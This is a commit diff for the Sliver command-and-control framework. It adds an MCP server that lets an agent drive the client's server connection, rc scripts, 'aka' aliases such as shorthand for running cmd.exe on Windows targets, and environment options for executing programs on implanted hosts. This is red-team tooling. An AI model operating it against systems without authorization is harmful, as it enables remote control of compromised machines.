Tweak docs

Updates to `execute`

.github/workflows/autorelease.yml

@@ -38,6 +38,8 @@ jobs:
     steps:
       - name: Check Out Code
         uses: actions/checkout@v6
+        with:
+          fetch-depth: 0
 
       - name: Go 1.25
         uses: actions/setup-go@v6

.gitignore

@@ -2,6 +2,11 @@
 /.devcontainer
 /.idea
 
+/artifacts
+/artifacts/**
+
+*.rc
+
 /Dockerfile.*
 /*.sdk.tar.xz
 

README.md

@@ -46,4 +46,3 @@ Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58
 ### License - GPLv3
 
 Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
-

client/assets/assets.go

@@ -73,6 +73,18 @@ func GetConsoleLogsDir() string {
 	return consoleLogsDir
 }
 
+// GetMCPLogsDir - Get the Sliver client MCP logs dir ~/.sliver-client/logs/mcp/
+func GetMCPLogsDir() string {
+	mcpLogsDir := filepath.Join(GetClientLogsDir(), "mcp")
+	if _, err := os.Stat(mcpLogsDir); os.IsNotExist(err) {
+		err = os.MkdirAll(mcpLogsDir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return mcpLogsDir
+}
+
 func assetVersion() string {
 	appDir := GetRootAppDir()
 	data, err := os.ReadFile(filepath.Join(appDir, versionFileName))

client/cli/cli.go

@@ -51,6 +51,7 @@ func init() {
 	defer logFile.Close()
 
 	rootCmd.TraverseChildren = true
+	rootCmd.Flags().String(RCFlagName, "", "path to rc script file")
 
 	// Create the console client, without any RPC or commands bound to it yet.
 	// This created before anything so that multiple commands can make use of
@@ -69,6 +70,9 @@ func init() {
 	// other command trees below, such as the implant one.
 	rootCmd.AddCommand(consoleCmd(con))
 
+	// MCP stdio server.
+	rootCmd.AddCommand(mcpCmd(con))
+
 	// Implant.
 	// The implant command allows users to run commands on slivers from their
 	// system shell. It makes use of pre-runners for connecting to the server

client/cli/console.go

@@ -40,6 +40,7 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
 		Short: "Start the sliver client console",
 	}
 
+	consoleCmd.Flags().String(RCFlagName, "", "path to rc script file")
 	consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
 	return consoleCmd
 }
@@ -47,7 +48,7 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
 func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
 	var ln *grpc.ClientConn
 
-	pre = func(_ *cobra.Command, _ []string) error {
+	pre = func(cmd *cobra.Command, _ []string) error {
 
 		configs := assets.GetConfigs()
 		if len(configs) == 0 {
@@ -59,13 +60,18 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
 			return nil
 		}
 
+		rcScript, err := ReadRCScript(cmd)
+		if err != nil {
+			fmt.Printf("Failed to read rc script: %s\n", err)
+			return nil
+		}
+
 		// Don't clobber output when simply running an implant command from system shell.
 		if run {
 			fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
 		}
 
 		var rpc rpcpb.SliverRPCClient
-		var err error
 
 		rpc, ln, err = transport.MTLSConnect(config)
 		if err != nil {
@@ -76,7 +82,7 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
 		// Wait for any connection state changes and exit if the connection is lost.
 		go handleConnectionLost(ln)
 
-		return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
+		return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
 	}
 
 	// Close the RPC connection once exiting

client/cli/mcp.go

@@ -0,0 +1,94 @@
+package cli
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2023  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/console"
+	clientmcp "github.com/bishopfox/sliver/client/mcp"
+	"github.com/bishopfox/sliver/client/transport"
+	"github.com/spf13/cobra"
+)
+
+func mcpCmd(con *console.SliverClient) *cobra.Command {
+	mcpCmd := &cobra.Command{
+		Use:   "mcp",
+		Short: "Start the MCP stdio server",
+		RunE: func(cmd *cobra.Command, args []string) error {
+			return runMCP(cmd, con)
+		},
+	}
+	mcpCmd.Flags().String("config", "", "path to client config file")
+	return mcpCmd
+}
+
+func runMCP(cmd *cobra.Command, con *console.SliverClient) error {
+	configPath, _ := cmd.Flags().GetString("config")
+	config, err := loadMCPClientConfig(configPath)
+	if err != nil {
+		fmt.Printf("%s\n", err)
+		return nil
+	}
+
+	rpc, ln, err := transport.MTLSConnect(config)
+	if err != nil {
+		fmt.Printf("Connection to server failed %s\n", err)
+		return nil
+	}
+	defer ln.Close()
+
+	con.Rpc = rpc
+	go handleConnectionLost(ln)
+
+	cfg := clientmcp.DefaultConfig()
+	if err := clientmcp.ServeStdio(cfg, con.Rpc); err != nil {
+		fmt.Printf("MCP server error: %s\n", err)
+		return nil
+	}
+	return nil
+}
+
+func loadMCPClientConfig(path string) (*assets.ClientConfig, error) {
+	if path != "" {
+		configPath := path
+		if !filepath.IsAbs(configPath) {
+			if _, err := os.Stat(configPath); err != nil {
+				configPath = filepath.Join(assets.GetConfigDir(), configPath)
+			}
+		}
+		return assets.ReadConfig(configPath)
+	}
+
+	configs := assets.GetConfigs()
+	switch len(configs) {
+	case 0:
+		return nil, fmt.Errorf("no config files found at %s (use --config)", assets.GetConfigDir())
+	case 1:
+		for _, config := range configs {
+			return config, nil
+		}
+	default:
+		return nil, fmt.Errorf("multiple configs found; use --config to select one")
+	}
+	return nil, fmt.Errorf("no config files found")
+}

client/cli/rc.go

@@ -0,0 +1,31 @@
+package cli
+
+import (
+	"fmt"
+	"os"
+
+	"github.com/spf13/cobra"
+)
+
+const RCFlagName = "rc"
+
+func ReadRCScript(cmd *cobra.Command) (string, error) {
+	if cmd == nil {
+		return "", nil
+	}
+	if cmd.Flags().Lookup(RCFlagName) == nil {
+		return "", nil
+	}
+	rcPath, err := cmd.Flags().GetString(RCFlagName)
+	if err != nil {
+		return "", err
+	}
+	if rcPath == "" {
+		return "", nil
+	}
+	data, err := os.ReadFile(rcPath)
+	if err != nil {
+		return "", fmt.Errorf("read rc script %q: %w", rcPath, err)
+	}
+	return string(data), nil
+}

client/command/README.md

@@ -8,7 +8,7 @@ Shared registration glue, scaffolding, and helpers for Sliver client console com
 
 - `command.go` – Provides helpers for binding Cobra commands, flag sets, and visibility filters into the client command tree.
 - `server.go` – Defines the server menu composition, wiring each server-side command group onto the root console structure at runtime.
-- `sliver.go` – Builds the implant/Sliver menu, attaching per-target command groups and loading alias/extension manifests before exposure.
+- `main.go` – Builds the implant/Sliver menu, attaching per-target command groups and loading alias/extension manifests before exposure.
 
 ## Sub-packages
 
@@ -40,6 +40,7 @@ Shared registration glue, scaffolding, and helpers for Sliver client console com
 - `licenses/` – Implements the 'licenses' command group for the Sliver client console.
 - `loot/` – Implements the 'loot' command group for the Sliver client console.
 - `monitor/` – Implements the 'monitor' command group for the Sliver client console.
+- `mcp/` – Implements the 'mcp' command group for the Sliver client console.
 - `network/` – Implements the 'network' command group for the Sliver client console.
 - `operators/` – Implements the 'operators' command group for the Sliver client console.
 - `pivots/` – Implements the 'pivots' command group for the Sliver client console.

client/command/aka/README.md

@@ -0,0 +1,23 @@
+# client/command/aka
+
+## Overview
+
+Implements the 'aka' command group for the Sliver client console. "Aka"s are
+command aliases (like 'alias' in 'bash') that allow operators to specify
+shorthand commands and default arguments for commonly used commands.
+
+### Examples:
+
+- `aka create bg background`: Allows an operator to run `bg` from the implant 
+menu to quickly move back to the server menu
+- `aka create execw execute -o "C:\Windows\System32\cmd.exe" /c`: Shorthand for
+  executing binaries on Windows targets like: `execw arp -a`
+
+## Go Files
+
+- `commands.go` – Wires Cobra commands for listing, creating, and deleting command aliases in the client console.
+- `create.go` – Handles creating command aliases to use by the client.
+- `delete.go` – Removes command aliases currently tracked by the client. 
+- `hook.go` – The main hooking logic to intercept commands ran by the client console. The hook will intercept processing before hitting the Cobra tree to transform the command alias to a full command with default arguments from the command alias and user-provided arguments to the alias.
+- `list.go` - Lists the current command aliases tracked by the client.
+- `storage.go` - Supports the saving of aliases to disk to keep between runs of the client. 

client/command/aka/commands.go

@@ -0,0 +1,59 @@
+package aka
+
+import (
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/constants"
+	"github.com/spf13/cobra"
+)
+
+func ServerCommands(con *console.SliverClient) []*cobra.Command {
+	return commands(con, constants.GenericHelpGroup)
+}
+
+func ImplantCommands(con *console.SliverClient) []*cobra.Command {
+	return commands(con, constants.SliverCoreHelpGroup)
+}
+
+func commands(con *console.SliverClient, group string) []*cobra.Command {
+	akaCommand := &cobra.Command{
+		Use:   "aka",
+		Short: "Manage command aliases (aka's)",
+		Run: func(cmd *cobra.Command, args []string) {
+			AkaListCmd(cmd, con, args)
+		},
+		GroupID: group,
+	}
+
+	createAka := &cobra.Command{
+		Use:                   "create <alias> <command> [args...]",
+		Short:                 "Create a new command alias (aka)",
+		Args:                  cobra.MinimumNArgs(2),
+		DisableFlagParsing:    true, // No flags with aka create so we capture flags to other commands
+		DisableFlagsInUseLine: true,
+		Run: func(cmd *cobra.Command, args []string) {
+			AkaCreateCmd(cmd, con, args)
+		},
+	}
+	createAka.InitDefaultHelpFlag()
+	createAka.Flags().Lookup("help").Hidden = true
+	akaCommand.AddCommand(createAka)
+
+	deleteAka := &cobra.Command{
+		Use:   "delete <alias>",
+		Short: "Delete a command alias (aka)",
+		Args:  cobra.MinimumNArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			AkaDeleteCmd(cmd, con, args)
+		},
+	}
+	akaCommand.AddCommand(deleteAka)
+
+	con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, Cmdhook)
+
+	err := LoadAkaAliases()
+	if err != nil {
+		con.PrintErrorf("Failed to load aka alises: %s\n", err)
+	}
+
+	return []*cobra.Command{akaCommand}
+}

client/command/aka/create.go

@@ -0,0 +1,46 @@
+package aka
+
+import (
+	"fmt"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/spf13/cobra"
+)
+
+func AkaCreateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	aliasName := args[0]
+	command := args[1]
+	defaultArgs := args[2:] // anything else is going to be the default args to the alias
+
+	if _, exists := akaAliases[aliasName]; exists {
+		con.PrintErrorf("Alias '%s' already exists\n", aliasName)
+		return
+	}
+
+	var desc string
+	if len(defaultArgs) == 0 {
+		desc = fmt.Sprintf("%s", command)
+	} else {
+		desc = fmt.Sprintf("%s %s", command, strings.Join(defaultArgs, " "))
+	}
+
+	alias := &AkaAlias{
+		Name:        aliasName,
+		Command:     command,
+		DefaultArgs: defaultArgs,
+		Description: desc,
+	}
+
+	akaAliases[aliasName] = alias
+
+	// save this new alias to disk
+	err := SaveAkaAliases()
+	if err != nil {
+		con.PrintErrorf("Failed to save alias '%s' to disk: %s\n", aliasName, err)
+		// we still technically added it to the map, so the alias did get created in
+		// memory so we should still print the Info message below
+	}
+
+	con.PrintInfof("Create alias for '%s' -> '%v'\n", aliasName, alias.Description)
+}

client/command/aka/delete.go

@@ -0,0 +1,25 @@
+package aka
+
+import (
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/spf13/cobra"
+)
+
+func AkaDeleteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	aliasName := args[0]
+	if _, exists := akaAliases[aliasName]; !exists {
+		con.PrintErrorf("Alias '%s' does not exist\n", aliasName)
+		return
+	}
+
+	delete(akaAliases, aliasName)
+
+	// Save updated map to disk
+	err := SaveAkaAliases()
+	if err != nil {
+		con.PrintErrorf("Failed to save aliases to disk: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("Deleted alias '%s'\n", aliasName)
+}

client/command/aka/hook.go

@@ -0,0 +1,27 @@
+package aka
+
+import (
+	"strings"
+)
+
+func Cmdhook(args []string) ([]string, error) {
+	if len(args) == 0 {
+		return args, nil
+	}
+
+	if aliasArgs, exists := akaAliases[args[0]]; exists {
+		var expandedArgs []string
+
+		expandedArgs = append(expandedArgs, aliasArgs.Command)
+		expandedArgs = append(expandedArgs, aliasArgs.DefaultArgs...)
+		// join the user passed args so the shell processes it without flags if
+		// available
+		if len(args[1:]) > 0 {
+			expandedArgs = append(expandedArgs, strings.Join(args[1:], " "))
+		}
+
+		return expandedArgs, nil
+	}
+
+	return args, nil
+}

client/command/aka/list.go

@@ -0,0 +1,31 @@
+package aka
+
+import (
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+)
+
+func AkaListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	if len(akaAliases) == 0 {
+		con.PrintInfof("No command aliases created. Use `aka create` to create one.\n")
+		return
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Alias",
+		"Command",
+	})
+
+	for alias, cmd := range akaAliases {
+		tw.AppendRow(table.Row{
+			alias,
+			cmd.Description,
+		})
+	}
+
+	con.Printf("%s\n", tw.Render())
+}

client/command/aka/storage.go

@@ -0,0 +1,68 @@
+package aka
+
+import (
+	"encoding/json"
+	"os"
+	"path/filepath"
+
+	"github.com/bishopfox/sliver/client/assets"
+)
+
+type AkaAlias struct {
+	Name        string   `json:"name"`         // alias Name
+	Command     string   `json:"command"`      // command being aliased
+	DefaultArgs []string `json:"default_args"` // args passed by the user
+	Description string   `json:"description"`
+}
+
+var akaAliases = make(map[string]*AkaAlias)
+
+const (
+	akaAliasFileName = "aka-aliases.json"
+)
+
+func GetAkaAliasesFilePath() string {
+	return filepath.Join(assets.GetRootAppDir(), akaAliasFileName)
+}
+
+func LoadAkaAliases() error {
+	filepath := GetAkaAliasesFilePath()
+	data, err := os.ReadFile(filepath)
+	if err != nil {
+		// if file hasn't been created yet, we fail gracefully
+		if os.IsNotExist(err) {
+			return nil
+		}
+		// otherwise, return the actual error; something else went wrong
+		return err
+	}
+
+	aliases := []AkaAlias{}
+	err = json.Unmarshal(data, &aliases)
+	if err != nil {
+		return err
+	}
+
+	akaAliases = make(map[string]*AkaAlias)
+
+	for _, alias := range aliases {
+		akaAliases[alias.Name] = &alias
+	}
+
+	return nil
+}
+
+func SaveAkaAliases() error {
+	filepath := GetAkaAliasesFilePath()
+	aliases := make([]*AkaAlias, 0, len(akaAliases))
+	for _, alias := range akaAliases {
+		aliases = append(aliases, alias)
+	}
+
+	data, err := json.MarshalIndent(aliases, "", "  ")
+	if err != nil {
+		return err
+	}
+
+	return os.WriteFile(filepath, data, 0o600)
+}

client/command/alias/load.go

@@ -36,6 +36,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util"
+	"github.com/carapace-sh/carapace"
 	app "github.com/reeflective/console"
 	"github.com/spf13/cobra"
 	"github.com/spf13/pflag"
@@ -76,6 +77,16 @@ type AliasFile struct {
 	Path string `json:"path"`
 }
 
+// AliasArgument - An argument for an alias command.
+type AliasArgument struct {
+	Name     string      `json:"name"`
+	Type     string      `json:"type"`
+	Desc     string      `json:"desc"`
+	Optional bool        `json:"optional"`
+	Default  interface{} `json:"default,omitempty"`
+	Choices  []string    `json:"choices,omitempty"`
+}
+
 // AliasManifest - The manifest for an alias, contains metadata.
 type AliasManifest struct {
 	Name           string `json:"name"`
@@ -89,6 +100,7 @@ type AliasManifest struct {
 	Entrypoint   string                 `json:"entrypoint"`
 	AllowArgs    bool                   `json:"allow_args"`
 	DefaultArgs  string                 `json:"default_args"`
+	Arguments    []*AliasArgument       `json:"arguments"`
 	Files        []*AliasFile           `json:"files"`
 	IsReflective bool                   `json:"is_reflective"`
 	IsAssembly   bool                   `json:"is_assembly"`
@@ -158,15 +170,60 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
 	}
 	aliasManifest.RootPath = filepath.Dir(manifestPath)
 
+	// Build usage string including arguments
+	usage := strings.Builder{}
+	usage.WriteString(aliasManifest.CommandName)
+	for _, arg := range aliasManifest.Arguments {
+		usage.WriteString(" ")
+		if arg.Optional {
+			usage.WriteString("[")
+		}
+		usage.WriteString(strings.ToUpper(arg.Name))
+		if arg.Optional {
+			usage.WriteString("]")
+		}
+	}
+
+	// Build long help message
+	longHelp := strings.Builder{}
+	longHelp.WriteString("[[.Bold]]Command:[[.Normal]]")
+	longHelp.WriteString(usage.String())
+	longHelp.WriteString("\n")
+	if len(aliasManifest.Help) > 0 || len(aliasManifest.LongHelp) > 0 {
+		longHelp.WriteString("[[.Bold]]About:[[.Normal]]")
+		if len(aliasManifest.Help) > 0 {
+			longHelp.WriteString(aliasManifest.Help)
+			longHelp.WriteString("\n")
+		}
+		if len(aliasManifest.LongHelp) > 0 {
+			longHelp.WriteString(aliasManifest.LongHelp)
+			longHelp.WriteString("\n")
+		}
+	}
+	if len(aliasManifest.Arguments) > 0 {
+		longHelp.WriteString("[[.Bold]]Arguments:[[.Normal]]")
+		for _, arg := range aliasManifest.Arguments {
+			longHelp.WriteString("\n\t")
+			optStr := ""
+			if arg.Optional {
+				optStr = "[OPTIONAL]"
+			}
+			aType := arg.Type
+			if aType == "wstring" {
+				aType = "string"
+			}
+			longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
+		}
+	}
+	longHelp.WriteString("\n\n⚠️  If you're having issues passing arguments to the alias please read:\n")
+	longHelp.WriteString("https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing")
+
 	// for each alias command, add a new app command
 	helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
-	longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
-	longHelpMsg += "\n\n⚠️  If you're having issues passing arguments to the alias please read:\n"
-	longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
 	addAliasCmd := &cobra.Command{
-		Use:   aliasManifest.CommandName,
+		Use:   usage.String(),
 		Short: helpMsg,
-		Long:  longHelpMsg,
+		Long:  help.FormatHelpTmpl(longHelp.String()),
 		Run: func(cmd *cobra.Command, args []string) {
 			runAliasCommand(cmd, con, args)
 		},
@@ -196,6 +253,10 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
 	f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
 	addAliasCmd.Flags().AddFlagSet(f)
 
+	// Setup completions for alias arguments
+	comps := carapace.Gen(addAliasCmd)
+	makeAliasArgCompleter(aliasManifest, comps)
+
 	cmd.AddCommand(addAliasCmd)
 
 	// Have to use a global map here, as passing the aliasCmd
@@ -589,3 +650,105 @@ func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
 		app.CommandFilterKey: strings.Join(all, ","),
 	}
 }
+
+// makeAliasArgCompleter builds the positional and dash arguments completer for the alias.
+// It provides completion for:
+// 1. Positional arguments (before --)
+// 2. Flag-style arguments after -- (e.g., --target, --port)
+func makeAliasArgCompleter(alias *AliasManifest, comps *carapace.Carapace) {
+	if len(alias.Arguments) == 0 {
+		return
+	}
+
+	var actions []carapace.Action
+
+	for _, arg := range alias.Arguments {
+		var action carapace.Action
+
+		// If choices are defined, use them for completion
+		if len(arg.Choices) > 0 {
+			action = carapace.ActionValues(arg.Choices...).Tag("choices")
+		} else {
+			// Fall back to type-based completion
+			switch arg.Type {
+			case "file":
+				action = carapace.ActionFiles().Tag("alias data")
+			default:
+				action = carapace.ActionValues()
+			}
+		}
+
+		usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
+		if arg.Optional {
+			usage += " (optional)"
+		}
+
+		actions = append(actions, action.Usage("%s", usage))
+	}
+
+	comps.PositionalCompletion(actions...)
+
+	// Add dash completion for flag-style arguments after --
+	// Pre-build the flag completions at registration time (not in a callback)
+	flagCompletion := makeAliasFlagNameCompletion(alias)
+
+	// Build value completions for each argument type
+	valueCompletions := make(map[string]carapace.Action)
+	for _, arg := range alias.Arguments {
+		// If choices are defined, use them for completion
+		if len(arg.Choices) > 0 {
+			valueCompletions[arg.Name] = carapace.ActionValues(arg.Choices...).Tag("choices")
+		} else {
+			// Fall back to type-based completion
+			switch arg.Type {
+			case "file":
+				valueCompletions[arg.Name] = carapace.ActionFiles().Tag("file path")
+			case "bool":
+				valueCompletions[arg.Name] = carapace.ActionValues("true", "false").Tag("boolean")
+			default:
+				valueCompletions[arg.Name] = carapace.ActionValues()
+			}
+		}
+	}
+
+	// Use DashAnyCompletion with a smart action that determines context
+	comps.DashAnyCompletion(
+		carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+			// If typing a flag (starts with -)
+			if strings.HasPrefix(c.Value, "-") {
+				return flagCompletion
+			}
+
+			// If previous arg was a flag, complete its value
+			if len(c.Args) > 0 {
+				lastArg := c.Args[len(c.Args)-1]
+				if strings.HasPrefix(lastArg, "-") {
+					flagName := strings.TrimLeft(lastArg, "-")
+					if action, ok := valueCompletions[flagName]; ok {
+						return action
+					}
+				}
+			}
+
+			// Default: show flag names
+			return flagCompletion
+		}),
+	)
+}
+
+// makeAliasFlagNameCompletion creates completion for flag names
+func makeAliasFlagNameCompletion(alias *AliasManifest) carapace.Action {
+	var results []string
+
+	for _, arg := range alias.Arguments {
+		flagName := fmt.Sprintf("--%s", arg.Name)
+		desc := arg.Desc
+		if arg.Optional {
+			desc = fmt.Sprintf("[optional] %s", desc)
+		}
+		desc = fmt.Sprintf("(%s) %s", arg.Type, desc)
+		results = append(results, flagName, desc)
+	}
+
+	return carapace.ActionValuesDescribed(results...).Tag("alias arguments")
+}

client/command/armory/install.go

@@ -274,19 +274,22 @@ func getInstalledPackageNames() []string {
 }
 
 // This is a convenience function to get the names of the commands in the cache
-func getCommandsInCache() []string {
+func getCommandsInCache(armoryPK string) []string {
 	commandNames := []string{}
 
 	pkgCache.Range(func(key, value interface{}) bool {
 		cacheEntry := value.(pkgCacheEntry)
 		if cacheEntry.LastErr == nil {
+			if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
+				return true
+			}
 			if cacheEntry.Pkg.IsAlias {
-				if !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
+				if cacheEntry.Alias.CommandName != "" && !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
 					commandNames = append(commandNames, cacheEntry.Alias.CommandName)
 				}
 			} else {
 				for _, command := range cacheEntry.Extension.ExtCommand {
-					if !slices.Contains(commandNames, command.CommandName) {
+					if command.CommandName != "" && !slices.Contains(commandNames, command.CommandName) {
 						commandNames = append(commandNames, command.CommandName)
 					}
 				}
@@ -398,7 +401,7 @@ func buildInstallList(name, armoryPK string, forceInstallation bool, pendingPack
 	var requestedPackageList []string
 	if name == "all" {
 		requestedPackageList = []string{}
-		allCommands := getCommandsInCache()
+		allCommands := getCommandsInCache(armoryPK)
 		for _, cmdName := range allCommands {
 			if !slices.Contains(installedPackages, cmdName) || forceInstallation {
 				// Check to see if there is a package pending with that name
@@ -458,6 +461,15 @@ func installPackageByName(name, armoryPK string, forceInstallation, promptToOver
 	if err != nil {
 		return err
 	}
+	if len(packageInstallList) == 0 && name == "all" {
+		availableCommands := getCommandsInCache(armoryPK)
+		if len(availableCommands) == 0 {
+			con.PrintInfof("No packages or bundles found\n")
+		} else {
+			con.PrintInfof("All available packages are already installed\n")
+		}
+		return nil
+	}
 	if len(packageInstallList) > 0 {
 		for _, packageID := range packageInstallList {
 			entry := packageCacheLookupByID(packageID)

client/command/c2profiles/c2profiles.go

@@ -21,6 +21,7 @@ package c2profiles
 import (
 	"context"
 	"encoding/json"
+	"errors"
 	"fmt"
 	"io"
 	"net/url"
@@ -42,6 +43,10 @@ import (
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 )
 
+var (
+	ErrNoSelection = errors.New("no selection")
+)
+
 // C2ProfileCmd list available http profiles
 func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	profileName, _ := cmd.Flags().GetString("name")
@@ -53,7 +58,11 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
 			return
 		}
 		if len(httpC2Profiles.Configs) != 1 {
-			profileName = selectC2Profile(httpC2Profiles.Configs)
+			profileName, err = selectC2Profile(httpC2Profiles.Configs)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
 		}
 	}
 
@@ -124,7 +133,11 @@ func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
 			return
 		}
 		if len(httpC2Profiles.Configs) != 1 {
-			profileName = selectC2Profile(httpC2Profiles.Configs)
+			profileName, err = selectC2Profile(httpC2Profiles.Configs)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
 		}
 	}
 
@@ -540,7 +553,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
 	con.Println("\n")
 }
 
-func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
+func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) (string, error) {
 	c2profile := ""
 	var choices []string
 	for _, c2profile := range c2profiles {
@@ -549,7 +562,11 @@ func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
 
 	_ = forms.Select("Select a c2 profile", choices, &c2profile)
 
-	return c2profile
+	if c2profile == "" {
+		return "", ErrNoSelection
+	}
+
+	return c2profile, nil
 }
 
 func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {

client/command/exec/commands.go

@@ -25,12 +25,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 	}
 	flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
 		f.BoolP("token", "T", false, "execute command with current token (Windows only)")
-		f.BoolP("output", "o", false, "capture command output")
+		f.BoolP("output", "o", true, "capture command output")
 		f.BoolP("save", "s", false, "save output to a file")
 		f.BoolP("loot", "X", false, "save output as loot")
 		f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
 		f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
 		f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
+		f.Bool("env-inheritance", true, "inherit environment variables from the current process")
+		f.StringArray("env", nil, "set an environment variable for the child process (key=value)")
 		f.StringP("name", "n", "", "name to assign loot (optional)")
 		f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
 		f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)")

client/command/exec/execute.go

@@ -49,6 +49,13 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	saveLoot, _ := cmd.Flags().GetBool("loot")
 	saveOutput, _ := cmd.Flags().GetBool("save")
 	ppid, _ := cmd.Flags().GetUint32("ppid")
+	envInheritance, _ := cmd.Flags().GetBool("env-inheritance")
+	envPairs, _ := cmd.Flags().GetStringArray("env")
+	envVars, err := parseEnvPairs(envPairs)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
 	hostName := getHostname(session, beacon)
 
 	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
@@ -59,15 +66,19 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	}
 
 	var exec *sliverpb.Execute
-	var err error
 
 	ctrl := make(chan bool)
+	con.PrintInfof("Execute: %s [%s]\n", cmdPath, strings.Join(args, " "))
 	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
 	if token || hidden || ppid != 0 {
 		if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
 			con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
 			return
 		}
+		if envInheritance || len(envVars) > 0 {
+			con.PrintErrorf("The env and env-inheritance options are not supported with token, hidden, or ppid\n")
+			return
+		}
 		exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
 			Request:    con.ActiveTarget.Request(cmd),
 			Path:       cmdPath,
@@ -81,12 +92,14 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 		})
 	} else {
 		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-			Request: con.ActiveTarget.Request(cmd),
-			Path:    cmdPath,
-			Args:    args,
-			Output:  captureOutput,
-			Stderr:  stderr,
-			Stdout:  stdout,
+			Request:        con.ActiveTarget.Request(cmd),
+			Path:           cmdPath,
+			Args:           args,
+			Output:         captureOutput,
+			Stderr:         stderr,
+			Stdout:         stdout,
+			EnvInheritance: envInheritance,
+			Env:            envVars,
 		})
 	}
 	ctrl <- true
@@ -179,6 +192,21 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
 	return ""
 }
 
+func parseEnvPairs(envPairs []string) (map[string]string, error) {
+	if len(envPairs) == 0 {
+		return nil, nil
+	}
+	envVars := make(map[string]string, len(envPairs))
+	for _, pair := range envPairs {
